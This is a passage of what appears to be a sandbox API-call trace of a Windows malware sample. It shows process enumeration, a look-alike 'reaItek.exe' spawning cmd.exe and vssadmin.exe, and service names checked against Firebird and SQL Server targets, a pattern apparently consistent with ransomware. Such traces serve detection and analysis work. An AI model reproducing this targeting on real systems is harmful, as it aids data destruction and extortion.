th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0115.955] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0115.955] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0115.956] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0115.956] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0115.957] lstrlenW (lpString="blademcdonald.exe") returned 17 [0115.957] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0115.958] lstrlenW (lpString="courage.exe") returned 11 [0115.958] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0115.959] lstrlenW (lpString="pearl.exe") returned 9 [0115.959] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0115.959] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0115.960] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0115.961] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0115.961] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0115.962] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0115.962] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0116.014] lstrlenW (lpString="dome.exe") returned 8 [0116.014] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0116.015] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0116.015] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0116.016] lstrlenW (lpString="paying.exe") returned 10 [0116.016] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0116.016] lstrlenW (lpString="emission.exe") returned 12 [0116.017] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0116.017] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0116.017] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0116.018] lstrlenW (lpString="charter.exe") returned 11 [0116.018] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0116.019] lstrlenW (lpString="nickel.exe") returned 10 [0116.019] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0116.020] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0116.020] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0116.020] lstrlenW (lpString="wrist.exe") returned 9 [0116.020] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0116.021] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0116.021] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0116.025] lstrlenW (lpString="neck.exe") returned 8 [0116.025] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0116.026] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0116.026] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0116.027] lstrlenW (lpString="taskhostw.exe") returned 13 [0116.027] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.027] lstrlenW (lpString="svchost.exe") returned 11 [0116.028] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0116.028] lstrlenW (lpString="reaItek.exe") returned 11 [0116.028] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0116.029] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0116.029] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0116.030] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0116.030] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.030] lstrlenW (lpString="conhost.exe") returned 11 [0116.031] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0116.031] lstrlenW (lpString="cmd.exe") returned 7 [0116.031] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.032] lstrlenW (lpString="conhost.exe") returned 11 [0116.032] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0116.033] lstrlenW (lpString="sppsvc.exe") returned 10 [0116.033] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0116.033] lstrlenW (lpString="vssadmin.exe") returned 12 [0116.033] Process32NextW (in: hSnapshot=0x36c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0116.034] CloseHandle (hObject=0x36c) returned 1 [0116.034] Sleep (dwMilliseconds=0x1f4) [0116.593] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fecc8 [0116.594] EnumServicesStatusExW (in: hSCManager=0x5fecc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0116.594] GetLastError () returned 0xea [0116.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x617720 [0116.594] EnumServicesStatusExW (in: hSCManager=0x5fecc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x617720, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x617720, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0116.595] CloseServiceHandle (hSCObject=0x5fecc8) returned 1 [0116.595] lstrlenW (lpString="Appinfo") returned 7 [0116.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0116.595] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0116.595] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0116.595] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0116.595] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0116.595] lstrlenW (lpString="AppXSvc") returned 7 [0116.595] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0116.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0116.596] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0116.596] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0116.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0116.596] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0116.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0116.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0116.596] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0116.596] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0116.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0116.596] lstrlenW (lpString="Audiosrv") returned 8 [0116.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0116.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0116.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0116.596] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0116.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0116.596] lstrlenW (lpString="BFE") returned 3 [0116.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0116.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0116.596] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0116.596] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0116.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0116.596] lstrlenW (lpString="BITS") returned 4 [0116.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0116.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0116.596] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0116.596] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0116.596] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0116.596] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0116.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0116.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0116.597] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0116.597] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0116.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0116.597] lstrlenW (lpString="CDPSvc") returned 6 [0116.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0116.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0116.597] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0116.597] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0116.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0116.597] lstrlenW (lpString="ClickToRunSvc") returned 13 [0116.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0116.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0116.597] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0116.597] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0116.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0116.597] lstrlenW (lpString="ClipSVC") returned 7 [0116.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0116.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0116.597] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0116.597] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0116.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0116.597] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0116.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0116.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0116.597] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0116.597] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0116.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0116.597] lstrlenW (lpString="CryptSvc") returned 8 [0116.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0116.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0116.597] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0116.598] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0116.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0116.598] lstrlenW (lpString="DcomLaunch") returned 10 [0116.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0116.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0116.598] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0116.598] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0116.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0116.598] lstrlenW (lpString="DeviceAssociationService") returned 24 [0116.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0116.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0116.598] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0116.598] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0116.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0116.598] lstrlenW (lpString="Dhcp") returned 4 [0116.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0116.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0116.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0116.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0116.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0116.598] lstrlenW (lpString="Dnscache") returned 8 [0116.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0116.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0116.598] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0116.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0116.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0116.598] lstrlenW (lpString="DoSvc") returned 5 [0116.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0116.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0116.598] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0116.598] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0116.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0116.599] lstrlenW (lpString="DPS") returned 3 [0116.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0116.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0116.599] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0116.599] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0116.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0116.599] lstrlenW (lpString="DusmSvc") returned 7 [0116.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0116.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0116.599] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0116.599] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0116.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0116.599] lstrlenW (lpString="EventLog") returned 8 [0116.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0116.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0116.599] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0116.599] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0116.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0116.599] lstrlenW (lpString="EventSystem") returned 11 [0116.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0116.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0116.599] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0116.599] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0116.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0116.599] lstrlenW (lpString="FontCache") returned 9 [0116.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0116.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0116.599] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0116.599] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0116.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0116.599] lstrlenW (lpString="gpsvc") returned 5 [0116.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0116.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0116.600] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0116.600] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0116.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0116.600] lstrlenW (lpString="iphlpsvc") returned 8 [0116.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0116.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0116.600] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0116.600] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0116.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0116.600] lstrlenW (lpString="KeyIso") returned 6 [0116.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0116.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0116.600] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0116.600] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0116.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0116.601] lstrlenW (lpString="LanmanServer") returned 12 [0116.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0116.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0116.601] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0116.601] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0116.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0116.601] lstrlenW (lpString="LanmanWorkstation") returned 17 [0116.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0116.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0116.601] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0116.601] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0116.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0116.601] lstrlenW (lpString="lfsvc") returned 5 [0116.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0116.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0116.601] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0116.601] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0116.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0116.601] lstrlenW (lpString="LicenseManager") returned 14 [0116.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0116.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0116.601] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0116.601] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0116.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0116.601] lstrlenW (lpString="lmhosts") 